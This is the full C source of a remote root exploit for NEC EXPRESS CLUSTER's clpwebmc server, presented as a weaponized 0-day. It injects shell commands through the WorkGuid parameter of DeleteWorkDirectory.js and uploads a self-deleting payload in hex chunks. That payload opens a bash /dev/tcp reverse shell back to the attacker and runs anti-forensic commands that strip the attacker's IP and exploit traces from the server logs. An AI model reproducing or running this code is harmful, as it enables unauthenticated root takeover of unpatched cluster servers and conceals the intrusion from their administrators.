NEC EXPRESS CLUSTER clpwebmc Remote Root

/*
 * 2017 update: as of 3.3.4 this bug seems to be fixed
 * - fixed versions:
 * NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
 * NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
 */
/*
 * *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
 *
 *   NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
 *                        <vincitamorpatriae@gmail.com>
 *
 * - product description:
 * NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
 * recovery software solutions that address the fast recovery and continuous
 * protection needs of business critical applications and data. With increased
 * servers and complexity of server applications running Windows or Linux,
 * EXPRESS CLUSTER minimizes planned and unplanned system outages.
 *
 * - vulnerability description:
 * NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
 * configuration and management. The underlying webserver 'clpwebmc' runs as
 * root and accepts connections on TCP port 29003 which can be initiated without
 * authentication in the default installation.
 *
 * A function is available to remove temporary work directories by issuing the
 * following GET request to port 29003, appended with the location of the
 * directory that is supposed to be deleted:
 * GET /DeleteWorkDirectory.js?WorkGuid=directoryname
 *
 * The working of the DeleteWorkDirectory.js HTTP request roughly translates to
 * the following C code:
 *
 * void
 * remove_dir_path(char *WorkGuidParameter)
 * {
 *  char x[128];
 *  snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
 *      WorkGuidParameter);
 *  system(x);
 * }
 *
 * No input sanitation is performed and the supplied arguments are passed
 * straight on to system(). By setting the WorkGuid parameter to '0' and
 * appending  a semicolon followed by arbritrary commands it is possible to
 * execute those commands as root on the remote machine.
 *
 * Example HTTP GET request with command injection:
 * GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
 *
 * Which results on the remote host:
 * $ ls -la /tmp/id.txt
 * -rw-rw-rw-  1 root root 57 Apr 20 16:37 /tmp/id.txt
 * $ cat /tmp/id.txt
 * uid=0(root) gid=0(root) groups=0(root)
 *
 * - tested vulnerable versions:
 * NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
 * NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
 * NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
 *
 * - tested versions not vulnerable:
 * NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
 *
 * - exploit details:
 * This exploit is fully "weaponized" as they call it nowadays. It starts a
 * listening port on the attacking host and connects back from the victim host
 * using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
 * run a firewall due to the nature of connect-back.
 *
 * A payload system is utilised where commands are encoded to hex and split into
 * chunks. These chunks are then sent one by one to the victim host and appended
 * to a temporary file using 'echo -ne'. The temporary file gets executed in the
 * last request.
 *
 * For OPSEC purposes the temporary file will destroy itself and
 * all traces of the exploit and your IP will be deleted from these log files:
 * /opt/nec/clusterpro/log/webmgr.log.cur
 * /opt/nec/clusterpro/log/webmgr.err.cur
 *
 * - exploit compilation:
 * gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
 *
 * - the exploit connect-back listener is confirmed to work on:
 * CentOS 6
 * Fedora 22
 * OS X 10.10.5
 *
 */

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1\n"
#define CRLF "\n\n"

#define BUFSIZE 1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s"
#define ECHO "%secho -ne \"%s\">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/" \
   "$(grep GetConfiguration %s.log.cur|" \
   "grep IP=|tail -1|tr ':' '\\n'|" \
   "grep Root=1|cut -d, -f1)" \
   "/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do " \
      "grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \
      "cat %s.0>%s.$x.cur;" \
      "rm -f %s.0;" \
      "done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
 * use /tmp but there's a fair chance that the sysadmin has mounted that with
 * 'noexec'
 */
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
 if ((port < 1) || (port > 65535)) {
  printf("error: %d is an invalid %s port\n", port, p);
  return(1);
 }

 return(0);
}

void
usage()
{
 printf("usage: %s -h <host> [-p|-c|-m]\n", __progname);
 printf("\t-p [port (default: %d)]\n", port);
 printf("\t-c [connect-back port (default: %d)]\n", connectback);
 printf("\t-m [admin user md5 hash]\n\n");
 exit(1);
}

char
*genrandom()
{
 int len = strlen(TMPPATH) + 8;
 int n;

 char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
 char *r = malloc(sizeof(char)*(len + 1));

 sprintf(&r[0], "%s/", TMPPATH);

 srand(time(NULL));
 for (n = strlen(TMPPATH) + 1; n < len; n++)
  r[n] = s[rand() % strlen(s)];

 r[len] = '\0';

 return(r);
}

int
opensock(char *host, unsigned short int port)
{
 int s;

 struct hostent *target;
 struct sockaddr_in addr;

 target = gethostbyname(host);
 if (target == NULL) {
  perror("gethostbyname");
  exit(1);
 }

 s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
 if (s == -1) {
  perror("socket");
  exit(1);
 }

 memcpy(&addr.sin_addr, target->h_addr, target->h_length);

 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);

 if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
  perror("connect");
  exit(1);
 }

 return(s);
}

void
sendsock(char *buf)
{
 char readbuf[1024];

 if (strlen(buf) >= MAXPROCCMD) {
  printf("sendsock() max len exceeded");
  exit(1);
 }

 sock = opensock(host, port);
 if (write(sock, buf, strlen(buf)) < 0) {
  perror("write");
  exit(1);
 }

 if (write(sock, CRLF, strlen(CRLF)) < 0) {
  perror("write");
  exit(1);
 }

 if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
  perror("read");
  exit(1);
 }

 if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
  if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
   printf("[!] md5 hash is invalid %s\n", md5);
  else
   printf("[!] unknown error: [%s][%lu]\n", readbuf,
       strlen(readbuf));

  exit(1);
 }

#ifdef VERBOSE
 printf("[-] sendsock(): HTTP/1.1 200 OK\n");
#endif
 close(sock);
}

void
writepayload(char *p, char *path)
{
 char buf[MAXPROCCMD];

 if (md5 == NULL)
  snprintf(buf, sizeof(buf), ECHO,
      GET, p, path, HTTP);
 else
  snprintf(buf, sizeof(buf), ECHOAUTH,
      GET, p, path, HTTP, AUTH, md5);

 if (strlen(buf) > MAXPROCCMD) {
  printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf);
  exit(1);
 }

 sendsock(buf);
}

void
execpayload(char *path)
{
 char buf[MAXPROCCMD];

 printf("[*] executing payload\n");

 if (md5 == NULL) {
  snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP);
  sendsock(buf);

  snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP);
  sendsock(buf);
 } else {
  snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path,
      HTTP, AUTH, md5);
  sendsock(buf);

  snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH,
       md5);
  sendsock(buf);
 }
}

void
sendcmd(char *p, char *path)
{
 int i;
 int n = 1;
 int c = 0;
 int maxchunksize;
 int req;

 static char buf[MAXPROCCMD];

 if (md5 == NULL) {
  req = strlen(GET) + strlen(HTTP) + strlen(path) + \
   strlen(ECHO) + strlen(CRLF);
 } else {
  req = strlen(GET) + strlen(HTTP) + strlen(path) + \
   strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \
   strlen(md5);
 }

#ifdef VERBOSE
 printf("[-] command: \"%s\"\n", p);
#endif

 maxchunksize = (MAXPROCCMD - req) / 4;

 /* make the payload destroy itself on the filesystem during execution
  */
 printf("[*] adding self destruct to payload: %s\n", path);
 snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path);
 writepayload(buf, path);
 snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path);
 writepayload(buf, path);
 
 if (strlen(p) > maxchunksize) {
  printf("[-] command exceeds available space in GET request\n");
  printf("[-] have to split in chunks\n");
 }

 printf("[*] uploading command payload to: %s\n", path);
 printf("    payload size: %lu\n", strlen(p));
 printf("    payload chunk space: %d\n", maxchunksize);
 printf("    number of chunks: %lu\n", strlen(p) / maxchunksize);

 printf("[*] uploading:\n");
 printf("    chunk %d", n);
#ifdef VERBOSE
 printf(" |  ");
#endif

 /* turn commands into a hex payload of 'maxchunksize' byte chunks which
  * are saved to the filesystem. this is to bypass '&' filtering and to
  * get around the maximum size of GET requests allowed by clpwebmc
  */
 for (i = 0; i < strlen(p); i++) {
  sprintf(&buf[c * 4],"\\x%02x", p[i]);
#ifdef VERBOSE
  printf("  %c ", p[i]);
#endif
  if (c == (maxchunksize - 1)) {
   
#ifdef VERBOSE
   printf("\n    chunk %d", n);
   printf(" | %s", buf);
#endif
   printf("\n");
   writepayload(buf, path);
   c = 0;
   n++;

   printf("    chunk %d", n);
#ifdef VERBOSE
   printf(" |  ");
#endif
  } else {
   c++;
  }
 }

#ifdef VERBOSE
 printf("\n    chunk %d", n);
 printf(" | %s", buf);
#endif
 printf("\n");

 writepayload(buf, path);

 execpayload(path);
}

void
checkserver()
{
 char buf[BUFSIZE];

 sock = opensock(host, port);
 if (write(sock, HEAD, strlen(HEAD)) < 0) {
  perror("write");
  exit(1);
 }

 if (write(sock, CRLF, strlen(CRLF)) < 0) {
  perror("write");
  exit(1);
 }

 if (read(sock, buf, sizeof(buf) - 1) < 0) {
  perror("read");
  exit(1);
 }

 close(sock);

 /* older clpwebmc versions present themselves as: ClusterProWebmanager
  * newer versions use: ClusterWebmanager
  */
 if (strstr(buf, "Server: Cluster") == NULL || \
     strstr(buf, "Webmanager") == NULL) {
  printf("error: %s:%d is not running clpwebmc\n", host, port);
  exit(1);
 }

 /* this GET request gets logged */
 sock = opensock(host, port);
 if (write(sock, INFO, strlen(INFO)) < 0) {
  perror("write");
  exit(1);
 }

 if (write(sock, CRLF, strlen(CRLF)) < 0) {
  perror("write");
  exit(1);
 }

 if (read(sock, buf, sizeof(buf) - 1) < 0) {
  perror("read");
  exit(1);
 }

 close(sock);

 /* OS checker
  * WebMgrVersion="WebMgr2.1.1_Linux"
  * WebMgrVersion="WebMgr3.0.0_Win"
  */
 if (strstr(buf, "_Linux\"") == NULL) {
  printf("\n");
  printf("[!] cannot exploit, %s is not running Linux\n", host);
  printf("    (your IP has been logged by the target system)\n");
  exit(1);
 }

 printf("[-] %s:%d is Linux running clpwebmc\n", host, port);

 if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) {
  printf("[!] cannot exploit: clpwebmc has a password set\n");
  printf("    see usage how to send an admin password\n");
  printf("    (your IP has been logged by the target system)\n");
  printf("\n");
  usage();
  exit(1);
 }
}

void
setuplistener()
{
 struct sockaddr_in addr;

 printf("[*] setting up connect-back listener on port: %d\n",
     connectback);

 if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
  perror("socket");
  exit(1);
 }

 addr.sin_family = AF_INET;
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 addr.sin_port = htons(connectback);

 if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
  perror("bind");
  exit(1);
 }

 if (listen(list_s, BUFSIZE) < 0) {
  perror("listen");
  exit(1);
 }

 /* set O_NONBLOCK on listening socket */
 flags = fcntl(list_s, F_GETFL, 0);
 if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) {
  perror("fcntl");
  exit(1);
 }
}

void
connectshell()
{
 int p;

 char buf[BUFSIZE];

 struct timeval tm;

 fd_set rset;

 printf("[*] connecting to shell\n");

#ifdef __APPLE__
 /* remove O_NONBLOCK flag on OS X machines */
 flags = fcntl(list_s, F_GETFL, 0);
 if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) {
  perror("fcntl");
  exit(1);
 }
#endif

 if ((listsock = accept(list_s, NULL, NULL)) < 0) {
  perror("accept");
  exit(1);
 }

 p = send(listsock, CMD, strlen(CMD), 0);
 if (p == -1) {
  perror("send");
  exit(1);
 }

 printf("[-] connect-back successful\n\n");

 tm.tv_sec = 10;
 tm.tv_usec = 0;

 while (1) {
  FD_ZERO(&rset);
  FD_SET(listsock, &rset);
  FD_SET(STDIN_FILENO, &rset);
  select(listsock + 1, &rset, NULL, NULL, &tm);

  if (FD_ISSET(listsock, &rset)) {
   p = read(listsock, buf, sizeof(buf) - 1);
   if (p <= 0)
    exit(0);

   buf[p] = 0;
   printf("%s", buf);
  }

  if (FD_ISSET(STDIN_FILENO, &rset)) {
   p = read(STDIN_FILENO, buf, sizeof(buf) - 1);

   if (p > 0) {
    buf[p] = 0;
    write(listsock, buf, p);
   }
  }
 }
}

int
main(int argc, char *argv[]) {
 int opt;

 char cmd[BUFSIZE];

 printf("%s\n\n", HDR);

 if (argc < 3)
  usage();

 while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1)
  switch (opt) {
   case 'h':
    host = optarg;
    break;
   case 'p':
    port = atoi(optarg);
    if (validport(port, "target") != 0)
     exit(1);
    break;
   case 'c':
    connectback = atoi(optarg);
    if (validport(connectback, "connect-back") != 0)
     exit(1);
    break;
   case 'm':
    md5 = optarg;
    printf("[-] using admin auth: %s\n", md5);
    break;
   default:
    usage();
  }

 if (host == NULL)
  usage();

 checkserver();
 setuplistener();

 snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback);
 sendcmd(cmd, genrandom());

 /* remove all traces of the payload that were logged by webmgr
  * also remove all remove_tmp_webm system entries as it reveals our vuln
  */
 printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG);
 snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG);
 sendcmd(cmd, genrandom());

 connectshell();

 /* never reached */
 return(0);
}